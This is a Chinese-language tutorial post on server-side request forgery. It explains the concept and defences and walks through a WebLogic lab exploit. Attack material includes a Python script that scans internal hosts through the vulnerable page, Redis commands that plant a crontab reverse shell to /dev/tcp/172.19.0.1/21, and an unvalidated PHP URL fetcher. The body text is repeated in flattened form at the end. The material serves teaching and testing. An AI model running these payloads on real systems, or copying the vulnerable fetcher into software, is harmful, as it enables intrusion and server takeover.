Ssrf 扫盲贴,关于测试的那些事
字数 991 2025-08-15 21:31:27

SSRF漏洞详解与利用教学

1. SSRF基础概念

SSRF (Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的安全漏洞。与CSRF不同,SSRF是由服务端发起的请求,能够访问与服务器相连但与外网隔离的内部系统。

与CSRF的区别

  • CSRF: 跨站请求伪造,利用用户身份执行非预期操作
  • SSRF: 服务器端请求伪造,利用服务器发起非预期请求

2. SSRF漏洞成因

服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。具体表现为:

  • 服务端未验证用户提供的URL
  • 服务端未限制可访问的网络范围
  • 服务端未限制可使用的协议

3. SSRF漏洞示例

百度案例

  • 直接百度搜索"IP"显示用户本机IP
  • 通过百度翻译页面查询IP时,显示的是百度服务器的IP而非用户IP
  • 这表明翻译服务在服务器端执行了IP查询请求

4. SSRF漏洞利用

Weblogic SSRF漏洞利用实例

环境准备

  1. 搭建Docker靶场环境
  2. 漏洞存在于uddiexplorer/SearchPublicRegistries.jsp页面

探测过程

  1. 构造GET数据包探测目标网站
  2. 使用Python脚本批量探测内网主机和端口
# SSRF探测脚本示例
import re
import sys
import time
import thread
import requests

def scan(ip_str):
    ports = ('7001','6379')
    for port in ports:
        exp_url = "http://192.168.1.117:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str,port)
        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            # 判断响应内容
            re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content)
            re_sult2 = re.findall('but could not connect',response.content)
            re_sult3 = re.findall('No route to host',response.content)
            if len(re_sult1)!=0 and len(re_sult2)==0 and len(re_sult3)==0:
                print ip_str+':'+port
        except Exception, e:
            pass

Redis服务利用

  1. 发现内网Redis服务(6379端口)
  2. 发送三条Redis命令实现反弹shell:
    set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.19.0.1/21 0>&1\n\n\n\n"
    config set dir /etc/
    config set dbfilename crontab
    save
    
  3. 对命令进行URL编码后通过Burp发送

普通SSRF利用

支持的协议:

  • http, https, file, ftp, mailto, jar, netdoc

PHP示例:

<?php
if (isset($_POST['url'])){
    $link = $_POST['url'];
    $filename = './curled/'.rand().'txt';
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename));
    fclose($fp);
    echo $result;
}
?>

5. SSRF漏洞挖掘

常见存在SSRF的功能点

  1. 通过URL地址分享网页内容
  2. 在线分析业务
  3. 调用外网图片业务
  4. 转码业务
  5. 文章转载与分享功能

识别方法

  1. 使用Burp拦截请求
  2. 观察是否有服务器发起的非预期请求
  3. 注意本地浏览器不会显示服务器发起的请求

6. 防御措施

  1. 限制协议:仅允许http和https
  2. 限制目标地址:禁止访问内网IP
  3. 设置URL白名单
  4. 禁用不必要的URL包装器(如file://, ftp://)
  5. 验证响应内容

7. 总结

SSRF漏洞利用复杂但危害大,可用于:

  • 探测内网服务
  • 攻击内网脆弱系统
  • 绕过访问控制
  • 读取服务器本地文件

漏洞挖掘需要关注所有服务器发起外部请求的功能点,并通过数据包分析确认是否为SSRF漏洞。

SSRF漏洞详解与利用教学 1. SSRF基础概念 SSRF (Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的安全漏洞。与CSRF不同,SSRF是由服务端发起的请求,能够访问与服务器相连但与外网隔离的内部系统。 与CSRF的区别 CSRF: 跨站请求伪造,利用用户身份执行非预期操作 SSRF: 服务器端请求伪造,利用服务器发起非预期请求 2. SSRF漏洞成因 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。具体表现为: 服务端未验证用户提供的URL 服务端未限制可访问的网络范围 服务端未限制可使用的协议 3. SSRF漏洞示例 百度案例 直接百度搜索"IP"显示用户本机IP 通过百度翻译页面查询IP时,显示的是百度服务器的IP而非用户IP 这表明翻译服务在服务器端执行了IP查询请求 4. SSRF漏洞利用 Weblogic SSRF漏洞利用实例 环境准备 搭建Docker靶场环境 漏洞存在于 uddiexplorer/SearchPublicRegistries.jsp 页面 探测过程 构造GET数据包探测目标网站 使用Python脚本批量探测内网主机和端口 Redis服务利用 发现内网Redis服务(6379端口) 发送三条Redis命令实现反弹shell: 对命令进行URL编码后通过Burp发送 普通SSRF利用 支持的协议: http, https, file, ftp, mailto, jar, netdoc PHP示例: 5. SSRF漏洞挖掘 常见存在SSRF的功能点 通过URL地址分享网页内容 在线分析业务 调用外网图片业务 转码业务 文章转载与分享功能 识别方法 使用Burp拦截请求 观察是否有服务器发起的非预期请求 注意本地浏览器不会显示服务器发起的请求 6. 防御措施 限制协议:仅允许http和https 限制目标地址:禁止访问内网IP 设置URL白名单 禁用不必要的URL包装器(如file://, ftp://) 验证响应内容 7. 总结 SSRF漏洞利用复杂但危害大,可用于: 探测内网服务 攻击内网脆弱系统 绕过访问控制 读取服务器本地文件 漏洞挖掘需要关注所有服务器发起外部请求的功能点,并通过数据包分析确认是否为SSRF漏洞。